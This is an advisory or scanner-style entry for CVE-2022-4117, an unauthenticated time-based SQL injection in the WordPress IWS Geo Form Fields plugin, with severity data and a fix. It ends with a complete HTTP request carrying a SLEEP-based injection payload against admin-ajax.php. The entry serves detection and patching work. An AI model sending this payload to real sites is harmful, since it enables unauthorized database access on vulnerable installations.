| Title | WordPress IWS Geo Form Fields <=1.0 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site. |
| Remediation | Update to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.83515 |
| CVE ID | CVE-2022-4117 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2022 sqli wordpress wp-plugin wp iws-geo-form-fields wpscan iws-geo-form-fields_project vkev vuln |
WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)
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N/AN/A